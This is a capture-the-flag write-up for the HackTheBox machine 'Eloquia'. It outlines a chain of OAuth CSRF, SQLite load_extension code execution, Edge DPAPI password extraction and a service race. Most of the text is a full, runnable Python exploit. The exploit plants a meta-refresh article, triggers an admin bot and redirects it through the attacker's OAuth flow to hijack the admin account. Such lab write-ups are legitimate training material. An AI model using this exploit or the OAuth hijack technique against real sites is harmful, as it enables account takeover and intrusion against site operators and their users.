HackTheBox - Eloquia (Insane) Writeup

Box Info

Overview

Eloquia is an Insane-rated Windows box featuring a chain of vulnerabilities:

1. OAuth CSRF Account Takeover - Exploit missing PKCE/state validation to hijack admin session
2. SQLite load_extension() RCE - Abuse SQL Explorer to load malicious DLL
3. Edge DPAPI Credential Extraction - Decrypt saved browser passwords
4. Service Binary Race Condition - Overwrite service executable to gain SYSTEM

Enumeration

Nmap Scan

nmap -sC -sV -p- $TARGET_IP

Key ports:

• 80 - HTTP (IIS)
• 5985 - WinRM

Web Enumeration

Two virtual hosts discovered:

• eloquia.htb - Blog/article platform (Django)
  • Admin panel: http://eloquia.htb/accounts/admin/login/?next=/accounts/admin/
• qooqle.htb - OAuth provider (Django)

Add to /etc/hosts:

$TARGET_IP    eloquia.htb qooqle.htb

Initial Access

Step 1: OAuth CSRF Account Takeover

Vulnerability Analysis

The Eloquia platform uses Qooqle as an OAuth provider for "Login with Qooqle" functionality. Analysis revealed:

• No PKCE (Proof Key for Code Exchange)
• No state parameter validation
• 15-second authorization code expiry (but still exploitable)

This allows an attacker to link their Qooqle account to a victim's Eloquia session.

Attack Flow

1. Attacker registers accounts on both Eloquia and Qooqle
2. Create an article with meta-refresh pointing to attacker's callback server
3. Report the article (triggers admin bot to visit)
4. When admin visits, redirect them through OAuth flow with attacker's Qooqle account
5. Admin's Eloquia session gets linked to attacker's Qooqle account

Exploit Script (oauth_takeover.py)

#!/usr/bin/env python3
"""
Eloquia OAuth CSRF Account Takeover Exploit
============================================
Exploits missing PKCE and state validation in OAuth flow to hijack admin session.

Usage:
    python3 oauth_takeover.py --attacker-ip $ATTACKER_IP --port 8080
    
Requirements:
    pip install flask requests beautifulsoup4
"""

import argparse
import sys
import re
from http.server import HTTPServer, BaseHTTPRequestHandler
from urllib.parse import parse_qs, urlparse
import threading
import time

import requests
from bs4 import BeautifulSoup

# =============================================================================
# CONFIGURATION - Update these before running
# =============================================================================

CONFIG = {
    "eloquia_url": "http://eloquia.htb",
    "qooqle_url": "http://qooqle.htb",
    "oauth_client_id": "riQBUyAa4UZT3Y1z1HUf3LY7Idyu8zgWaBj4zHIi",
    "oauth_redirect_uri": "http://eloquia.htb/accounts/oauth2/qooqle/callback/",
    "timeout": 15,
}

# Credentials - Register these on both Eloquia and Qooqle first
CREDS = {
    "username": "attacker",
    "password": "AttackerPass123!",
}

# Path to any valid image file for article creation
BANNER_IMAGE = "/tmp/banner.jpg"


# =============================================================================
# HELPER FUNCTIONS
# =============================================================================

class Colors:
    GREEN = '\033[92m'
    RED = '\033[91m'
    YELLOW = '\033[93m'
    BLUE = '\033[94m'
    RESET = '\033[0m'


def log_success(msg):
    print(f"{Colors.GREEN}[+]{Colors.RESET} {msg}")


def log_error(msg):
    print(f"{Colors.RED}[-]{Colors.RESET} {msg}")


def log_info(msg):
    print(f"{Colors.BLUE}[*]{Colors.RESET} {msg}")


def log_warning(msg):
    print(f"{Colors.YELLOW}[!]{Colors.RESET} {msg}")


def get_csrf_token(html: str) -> str:
    """Extract CSRF token from HTML form."""
    soup = BeautifulSoup(html, "html.parser")
    csrf_input = soup.find("input", {"name": "csrfmiddlewaretoken"})
    if csrf_input and csrf_input.get("value"):
        return csrf_input["value"]
    match = re.search(r'name="csrfmiddlewaretoken"\s+value="([^"]+)"', html)
    if match:
        return match.group(1)
    raise ValueError("CSRF token not found in response")


def create_session() -> requests.Session:
    """Create a new requests session with redirects disabled."""
    session = requests.Session()
    session.headers.update({
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"
    })
    return session


# =============================================================================
# ELOQUIA FUNCTIONS
# =============================================================================

def eloquia_login(session: requests.Session) -> bool:
    """Authenticate to Eloquia."""
    login_url = f"{CONFIG['eloquia_url']}/accounts/login/"
    try:
        resp = session.get(login_url, timeout=CONFIG["timeout"])
        csrf = get_csrf_token(resp.text)
        data = {
            "csrfmiddlewaretoken": csrf,
            "username": CREDS["username"],
            "password": CREDS["password"],
        }
        headers = {"Referer": login_url}
        resp = session.post(login_url, data=data, headers=headers, 
                           timeout=CONFIG["timeout"], allow_redirects=False)
        return resp.status_code in (200, 302)
    except Exception as e:
        log_error(f"Eloquia login failed: {e}")
        return False


def create_malicious_article(session: requests.Session, callback_url: str) -> str:
    """Create an article with meta-refresh to our callback server."""
    create_url = f"{CONFIG['eloquia_url']}/article/create/"
    resp = session.get(create_url, timeout=CONFIG["timeout"])
    csrf = get_csrf_token(resp.text)
    
    title = f"Article-{int(time.time())}"
    content = f'<p><meta http-equiv="refresh" content="0;url={callback_url}"></p>'
    
    data = {
        "csrfmiddlewaretoken": csrf,
        "title": title,
        "content": content,
    }
    
    files = None
    try:
        with open(BANNER_IMAGE, "rb") as f:
            files = {"banner": ("image.jpg", f.read(), "image/jpeg")}
    except FileNotFoundError:
        log_warning(f"Banner image not found, creating without image")
    
    resp = session.post(create_url, data=data, files=files,
                       timeout=CONFIG["timeout"], allow_redirects=False)
    
    if resp.status_code not in (200, 302):
        raise RuntimeError(f"Article creation failed with status {resp.status_code}")
    
    location = resp.headers.get("Location", "")
    match = re.search(r"/article/(?:visit/)?(\d+)/", location)
    if match:
        return match.group(1)
    match = re.search(r"/article/(?:visit/)?(\d+)/", resp.text)
    if match:
        return match.group(1)
    raise RuntimeError("Could not extract article ID from response")


def report_article(session: requests.Session, article_id: str) -> bool:
    """Report an article to trigger admin bot visit."""
    report_url = f"{CONFIG['eloquia_url']}/article/report/{article_id}/"
    resp = session.get(report_url, timeout=CONFIG["timeout"], allow_redirects=False)
    return resp.status_code in (200, 302)


# =============================================================================
# QOOQLE FUNCTIONS
# =============================================================================

def qooqle_login(session: requests.Session) -> bool:
    """Authenticate to Qooqle."""
    login_url = f"{CONFIG['qooqle_url']}/login/"
    try:
        resp = session.get(login_url, timeout=CONFIG["timeout"])
        csrf = get_csrf_token(resp.text)
        data = {
            "csrfmiddlewaretoken": csrf,
            "username": CREDS["username"],
            "password": CREDS["password"],
        }
        headers = {"Referer": login_url}
        resp = session.post(login_url, data=data, headers=headers,
                           timeout=CONFIG["timeout"], allow_redirects=False)
        return resp.status_code in (200, 302)
    except Exception as e:
        log_error(f"Qooqle login failed: {e}")
        return False


def get_oauth_code_url(session: requests.Session) -> str:
    """Complete OAuth authorization flow and return the callback URL with code."""
    authorize_url = (
        f"{CONFIG['qooqle_url']}/oauth2/authorize/"
        f"?client_id={CONFIG['oauth_client_id']}"
        f"&response_type=code"
        f"&redirect_uri={CONFIG['oauth_redirect_uri']}"
    )
    
    resp = session.get(authorize_url, timeout=CONFIG["timeout"], allow_redirects=False)
    if resp.status_code != 200:
        raise RuntimeError(f"OAuth authorize GET failed: {resp.status_code}")
    
    csrf = get_csrf_token(resp.text)
    
    post_data = {
        "csrfmiddlewaretoken": csrf,
        "redirect_uri": CONFIG["oauth_redirect_uri"],
        "scope": "read write",
        "client_id": CONFIG["oauth_client_id"],
        "state": "",
        "response_type": "code",
        "nonce": "",
        "code_challenge": "",
        "code_challenge_method": "",
        "claims": "",
        "allow": "Authorize",
    }
    
    headers = {"Referer": authorize_url, "Origin": CONFIG["qooqle_url"]}
    resp = session.post(authorize_url, data=post_data, headers=headers,
                       timeout=CONFIG["timeout"], allow_redirects=False)
    
    if resp.status_code not in (302, 303):
        raise RuntimeError(f"OAuth authorize POST failed: {resp.status_code}")
    
    location = resp.headers.get("Location")
    if not location:
        raise RuntimeError("No Location header in OAuth response")
    
    parsed = urlparse(location)
    params = parse_qs(parsed.query)
    if "code" not in params:
        raise RuntimeError(f"No OAuth code in redirect URL: {location}")
    
    return location


# =============================================================================
# HTTP CALLBACK SERVER
# =============================================================================

class CallbackHandler(BaseHTTPRequestHandler):
    """HTTP handler for the callback server."""
    
    article_id = None
    exploit_triggered = False
    
    def log_message(self, format, *args):
        log_info(f"HTTP: {args[0]}")
    
    def do_GET(self):
        if self.path == "/":
            self.send_response(200)
            self.send_header("Content-Type", "text/html")
            self.end_headers()
            self.wfile.write(b"<h1>Exploit Server Running</h1>")
        
        elif self.path == "/test.html":
            log_success("Admin bot hit our callback!")
            
            if not CallbackHandler.article_id:
                self.send_response(503)
                self.end_headers()
                return
            
            try:
                session = create_session()
                log_info("Logging into Qooqle as attacker...")
                if not qooqle_login(session):
                    raise RuntimeError("Failed to login to Qooqle")
                
                log_info("Getting OAuth authorization code...")
                redirect_url = get_oauth_code_url(session)
                
                log_success(f"Redirecting admin to callback...")
                self.send_response(302)
                self.send_header("Location", redirect_url)
                self.end_headers()
                
                CallbackHandler.exploit_triggered = True
                log_success("Exploit complete! Login via 'Login with Qooqle' for admin access.")
                
            except Exception as e:
                log_error(f"Exploit failed: {e}")
                self.send_response(500)
                self.end_headers()
        else:
            self.send_response(404)
            self.end_headers()


def run_server(host: str, port: int):
    server = HTTPServer((host, port), CallbackHandler)
    log_info(f"Callback server listening on {host}:{port}")
    server.serve_forever()


# =============================================================================
# MAIN
# =============================================================================

def main():
    parser = argparse.ArgumentParser(description="Eloquia OAuth CSRF Account Takeover")
    parser.add_argument("--attacker-ip", required=True, help="Your IP address")
    parser.add_argument("--port", type=int, default=8080, help="Callback port")
    parser.add_argument("--listen", default="0.0.0.0", help="Listen address")
    args = parser.parse_args()
    
    callback_url = f"http://{args.attacker_ip}:{args.port}/test.html"
    
    print("\n[*] Eloquia OAuth CSRF Account Takeover\n")
    
    # Start callback server
    server_thread = threading.Thread(target=run_server, args=(args.listen, args.port))
    server_thread.daemon = True
    server_thread.start()
    time.sleep(0.5)
    
    # Login to Eloquia
    log_info("Phase 1: Authenticating to Eloquia...")
    session = create_session()
    if not eloquia_login(session):
        log_error("Failed to login to Eloquia")
        sys.exit(1)
    log_success("Logged in to Eloquia")
    
    # Create malicious article
    log_info("Phase 2: Creating malicious article...")
    try:
        article_id = create_malicious_article(session, callback_url)
        CallbackHandler.article_id = article_id
        log_success(f"Created article ID: {article_id}")
    except Exception as e:
        log_error(f"Failed to create article: {e}")
        sys.exit(1)
    
    # Report article
    log_info("Phase 3: Reporting article to trigger admin bot...")
    if report_article(session, article_id):
        log_success("Article reported - waiting for admin bot...")
    else:
        log_error("Failed to report article")
        sys.exit(1)
    
    log_info(f"Callback URL: {callback_url}")
    log_info("Waiting for admin bot... (Ctrl+C to exit)")
    
    try:
        while not CallbackHandler.exploit_triggered:
            time.sleep(1)
        time.sleep(2)
        log_success("Done! Login to Eloquia using 'Login with Qooqle'")
    except KeyboardInterrupt:
        log_warning("\nInterrupted")
        sys.exit(0)


if __name__ == "__main__":
    main()